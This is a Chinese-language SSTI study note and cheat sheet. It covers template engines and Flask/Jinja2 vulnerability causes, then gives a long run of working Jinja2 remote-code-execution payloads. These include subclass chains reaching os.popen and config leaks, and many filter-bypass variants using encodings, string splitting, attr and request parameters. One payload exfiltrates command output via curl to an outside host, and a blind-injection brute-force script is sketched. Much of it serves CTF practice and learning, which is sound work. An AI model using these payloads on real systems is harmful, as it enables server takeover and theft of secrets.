SSTI 模板注入
🔴1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
SSTI漏洞浅析(常见模板注入、waf绕过) - Antoniiiia - 博客园
一篇文章带你理解漏洞之 SSTI 漏洞 - K0rz3n’s Blog
什么是SSTI
- 什么是 SSTI?
- 服务端模板注入漏洞
- 用户输入被直接拼接到模板中执行
- 导致任意代码执行(RCE)
- SSTI 与普通注入的区别
1 | # SQL 注入:影响数据库 |
- 漏洞产生原因
1 | # 安全用法(数据与代码分离) |
什么是模板注入
1、 什么是注入:
注入就是格式化字符串漏洞的一种体现
web中 SQL 注入就是一个非常好的例子,我们在开发者本来认为我们应该插入正常数据的地方插入了sql语句,这就破坏了原本的SQL 语句的格式,从而执行了与原句完全不同含义的SQL 语句达到了攻击者的目的,同理 XSS 在有些情况下的闭合标签的手法也是利用了格式化字符串这种思想。
2、 什么是模板注入:
SSTI (服务器端模板注入)也是格式化字符串的一个非常好的例子,如今的开发已经形成了非常成熟的 MVC 的模式,我们的输入通过 V 接收,交给 C ,然后由 C 调用 M 或者其他的 C 进行处理,最后再返回给 V ,这样就最终显示在我们的面前了,那么这里的 V 中就大量的用到了一种叫做模板的技术,这种模板请不要认为只存在于 Python 中,感觉网上讲述的都是Python 的 SSTI ,在这之前也给了我非常大的误导(只能说自己没有好好研究,浅尝辄止),请记住,凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
常见的模板引擎介绍
PHP 模板引擎
1. Smarty
简介:最老牌的PHP模板引擎之一,1999年发布,使用广泛,语法简洁
特点:
- 编译型模板,模板会被编译成PHP文件
- 强大的缓存机制
- 丰富的插件系统
- 相对较低的学习曲线
基本语法:
smarty
1 | {* 注释 *} |
使用场景:传统PHP项目、内容管理系统、企业级应用
2. Twig
简介:来自Symfony框架的现代模板引擎,语法优雅,安全性高
特点:
- 语法简洁易读
- 自动HTML转义(XSS防护)
- 支持模板继承
- 沙箱模式增强安全性
基本语法:
twig
1 | {# 注释 #} |
使用场景:Symfony项目、现代PHP应用、需要高安全性的项目
3. Blade
简介:Laravel框架的官方模板引擎,简单强大,支持原生PHP代码
特点:
- 模板编译为原生PHP代码
- 支持模板继承和组件化
- 简洁的语法糖
- 与Laravel深度集成
基本语法:
blade
1 | {{-- 注释 --}} |
使用场景:Laravel项目、快速开发、现代Web应用
Java 模板引擎
1. JSP (JavaServer Pages)
简介:Java官方的Web模板技术,本质上是在HTML中嵌入Java代码
特点:
- 直接编译为Servlet
- 支持JSTL标签库
- 与Java EE生态完美集成
- 学习成本低(对于Java开发者)
基本语法:
jsp
1 | <%-- JSP注释 --%> |
使用场景:传统Java Web应用、企业级系统、Java EE项目
2. FreeMarker
简介:强大的Java模板引擎,专注于MVC视图层,不依赖Web环境
特点:
- 纯粹的模板引擎,不依赖Servlet容器
- 强大的数据模型处理能力
- 支持多种输出格式(HTML、XML、PDF等)
- 模板继承和宏定义
基本语法:
ftl
1 | <#-- 注释 --> |
使用场景:Web应用视图、代码生成、邮件模板、报表生成
3. Velocity
简介:Apache的轻量级模板引擎,语法简单,性能优秀
特点:
- 极其简单的语法(VTL)
- 轻量级,无依赖
- 学习成本极低
- 广泛应用于Apache项目
基本语法:
vm
1 | ## Velocity注释 |
使用场景:Apache项目、简单Web应用、邮件模板、代码生成
Python 模板引擎
1. Jinja2
简介:Flask框架的默认模板引擎,语法灵活,功能强大
特点:
- 语法类似Django模板但更强大
- 支持模板继承和宏
- 自动HTML转义
- 丰富的过滤器库
基本语法:
jinja2
1 | {# 注释 #} |
使用场景:Flask项目、Python Web应用、文档生成
2. Django 模板
简介:Django框架自带的模板引擎,强调安全性和简洁性
特点:
- 安全性优先(限制执行任意Python代码)
- 简洁的模板语言(DTL)
- 与DjangoORM深度集成
- 强大的模板继承系统
基本语法:
django
1 | {# 注释 #} |
使用场景:Django项目、内容管理系统、高安全性要求的应用
3. Tornado 模板
简介:Tornado Web框架的模板引擎,简单高效,支持异步
特点:
- 轻量级,性能优秀
- 支持自动转义
- 简单的模板继承
- 与Tornado异步特性集成
基本语法:
python
1 | {# 注释 #} |
使用场景:Tornado项目、高并发Web应用、API服务、实时应用
主要模板引擎及其语法
- Jinja2 (Python/Flask)
1 | # 基本语法 |
- Twig (PHP)
1 | # 基本语法 |
- Freemaker (Java)
1 | <#-- 注释语法 --> |
- Velocity (Java)
1 | #set($x=7*7) # 赋值:49 |
- Handlebars (JavaScript)
1 | {{#with "s" as |string|}} |
检测工具(tplmap)
kali
python tplmap.py -u URL
✔️做题思路
在SSTI中,我们要做的无非就两个:
- 执行命令
- 获取文件内容
所以我们所做的一切实际上都是在往这两个结果靠拢。
1.flask
(Flask 是一个用 Python 编写的轻量级 Web 应用框架)
- Flask 的两种渲染方法
Flask 提供了两种方法来渲染 HTML 内容:
| 方法 | 作用 | 示例 | 适用场景 |
|---|---|---|---|
render_template() |
渲染一个指定的模板文件(通常是 .html 文件)。 |
return render_template('index.html') |
标准的网页渲染,从 templates 文件夹中加载并渲染 HTML 文件。 |
render_template_string() |
直接渲染一个字符串,将这个字符串作为 Jinja2 模板来解析。 | return render_template_string('<h1>This is index page</h1>') |
动态生成简单的 HTML 内容,通常用于渲染小块模板。 |
关键点:这两种方法都会使用 Jinja2 模板引擎对传入的内容进行解析。如果内容中包含用户可控的、且被 Jinja2 解析的部分,就会导致 SSTI 漏洞。
- Flask 的模板与 Jinja2 引擎
a) 模板基础
- Flask 约定在项目根目录下创建一个名为
templates的文件夹来存放所有模板文件(如.html文件)。 - 这是 Flask 的默认配置,
render_template()函数会自动在这个文件夹里查找文件。
b) 示例代码结构
文件
test.py(Flask 应用主程序)1
2
3
4
5
6
7
8from flask import Flask, render_template
app = Flask(__name__)
def user_login():
# 安全地渲染 templates/index.html 文件
return render_template('index.html')文件
templates/index.html(模板文件)1
<h1>This is index page</h1>
访问结果:用户访问
/index/时,会看到一个大标题 “This is index page”。
c) 模板的动态渲染(引入变量)
Jinja2 的强大之处在于它允许在 HTML 中嵌入动态内容和逻辑。这是通过 双花括号 {{ ... }} 等语法实现的。
文件
demo.py(使用了变量的安全示例)1
2
3
4
5
6
7
8from flask import Flask, render_template
app = Flask(__name__)
def user_login():
# 将变量 content 传递到模板中,其值为 'This is index page.'
return render_template('index.html', content='This is index page.')文件
templates/index.html(使用了变量的模板)1
<h1>{{ content }}</h1>
访问结果:与之前完全相同。但此时
<h1>标签内的内容是由变量content动态传递进去的。Jinja2 引擎会执行{{ content }},并用变量的值替换它。
- 漏洞成因:Server-Side Template Injection (SSTI)
漏洞发生在当用户输入被直接拼接进模板,并且被 Jinja2 引擎解析的时候。
假设一个存在漏洞的代码修改版:
1 | from flask import Flask, render_template_string, request |
攻击过程:
- 正常访问:用户访问
/greet?name=Alice。- 生成的 HTML 字符串为:
"<h1>Hello, Alice!</h1>" - 渲染结果:
Hello, Alice!
- 生成的 HTML 字符串为:
- 恶意攻击:攻击者访问
/greet?name={{7*7}}。- 生成的 HTML 字符串为:
"<h1>Hello, {{7*7}}!</h1>" - Jinja2 引擎会解析
{{7*7}},计算其值。 - 最终渲染结果:
Hello, 49!
- 生成的 HTML 字符串为:
这证明攻击者注入的 Jinja2 语法 {{7*7}} 被成功执行了。
- Flask 的全局变量(在 SSTI 中的利用)
一旦存在 SSTI 漏洞,攻击者的目标就是利用它来执行更危险的命令。Jinja2 为 Flask 提供了一些内置的全局变量,这些变量成为了攻击的跳板。
几个关键全局变量:
| 全局变量 | 描述 | 在 SSTI 中的意义 |
|---|---|---|
request |
封装了当前 HTTP 请求的对象。 | 可以用来获取请求信息。 |
session |
存储用户会话信息的字典对象。 | 如果密钥泄露,可能被用来伪造会话。 |
g |
处理请求期间用于存储信息的临时全局对象。 | 通常利用价值较低。 |
config |
当前 Flask 应用的配置对象。 | 极其重要,可能包含数据库连接字符串、密钥等敏感信息。{{ config }} 可以打印所有配置。 |
[]、.__class__ 等 |
Python 的对象继承链访问方式。 | 攻击的核心。用于从字符串等基础对象向上溯源,最终获取到可以执行系统命令的类(如 os)。 |
一个经典的 SSTI 利用链示例(用于理解概念):
攻击者可能会注入这样的 Payload:
1 | {{ "".__class__.__bases__[0].__subclasses__()[X].__init__.__globals__['os'].popen('whoami').read() }} |
这个复杂的链条所做的就是:
- 从一个空字符串
""开始。 - 找到它的类(
str)。 - 找到这个类的父类(
object)。 - 找到所有继承自
object的类。 - 在这些类中找到一个合适的、导入了
os模块的类(这里[X]是一个索引号,需要寻找)。 - 通过这个类,访问到
os模块。 - 最后使用
os.popen执行系统命令whoami并读取结果。
2.获取object类
python的object类是所有类的基类,可以通过__mro__和__bases__两种方式来访问到object。
__mro__属性获取类的MRO(方法解析顺序),也就是继承关系。
1 | ().__class__.__mro__[1] |
__base__属性可以获取该类的基类,可以叠加使用。
1 | ().__class__.__base__ |
__bases__属性可以获取多继承的基类元组。
1 | ().__class__.__bases__[0] |
3.获取子类列表
然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。
1 | ().__class__.__bases__[0].__subclasses__() |
找到__init__为函数的类。
在获取初始化属性后,寻找不带warpper的,wrapper是指这些函数并没有被重载,function,不具有__globals__属性。
1 | l=len([].__class__.__mro__[1].__subclasses__()) |
或者使用func_globals
4.rce
常见的三种利用方式
__builtins__
1 | [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()') |
linecache
1 | [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['os'].system('whoami') |
sys
1 | [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['sys'].modules['os'].system('whoami') |
5.信息泄露
泄漏环境变量等配置
1 | {{config}} |
✔️绕过方法总结:
1.过滤关键词:
字符串拼接
加号是多余的
1 | {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}} |
引号
1 | {{''['__class__'].__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}} |
__getattribute__同时绕过中括号
1 | ''.__getattribute__('__class__') |
切片1
1 | "__ssalc__"[::-1] |
编码
base64(python2)
1 | {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}} |
Unicode
1 | {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()}} |
16进制
1 | {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}} |
8进制
1 | {{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}} |
format
1 | "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95) |
chr
1 | {% set chr=url_for.__globals__['__builtins__'].chr %} |
~
1 | {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}} |
大小写
1 | ''['__CLASS__'.lower()] |
2.过滤[]
调用方法来获取属性
列表方法
1 | __getitem__` |
字典方法
1 | __getitem__` |
3.过滤引号
request
request.args和request.values
1 | {{[].__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami |
chr
1 | {% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}} |
4.过滤.
点等价于__getattribute__
1 | ''.__getattribute__('__class__') |
[]
1 | {{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval'](request.args.v1)}} |
attr
1 | {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} |
5.过滤_
request
1 | {{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read() |
6.过滤{{}}
if
1 | {% if ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl http://xxx.xxx.xxx.xxx:12345/?i=`whoami`").read()') %}1{% endif %} |
1 | {% print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')) %} |
7.长度绕过
1 | {{url_for.__globals__[request.args.a]}} |
Jinja 模板中存在 set 语句,用来设置模板中的变量:{% set var='test' %}
配合字典的 update() 方法来更新 config 全局对象
1 | {{config}} |
8.waf过滤:
盲注
通过回显内容的真假爆破字符串
1 | {%for char in get_env(name="SECRET_KEY")%} |
示例脚本
1 | import string |
【CTF】Flask SSTI姿势与手法总结 Cheatsheet速查表https://www.freebuf.com/articles/web/421402.html
ssti详解与例题以及绕过payload大全https://blog.csdn.net/weixin_54515836/article/details/113778233?fromshare=blogdetail&sharetype=blogdetail&sharerId=113778233&sharerefer=PC&sharesource=sundan147369&sharefrom=from_link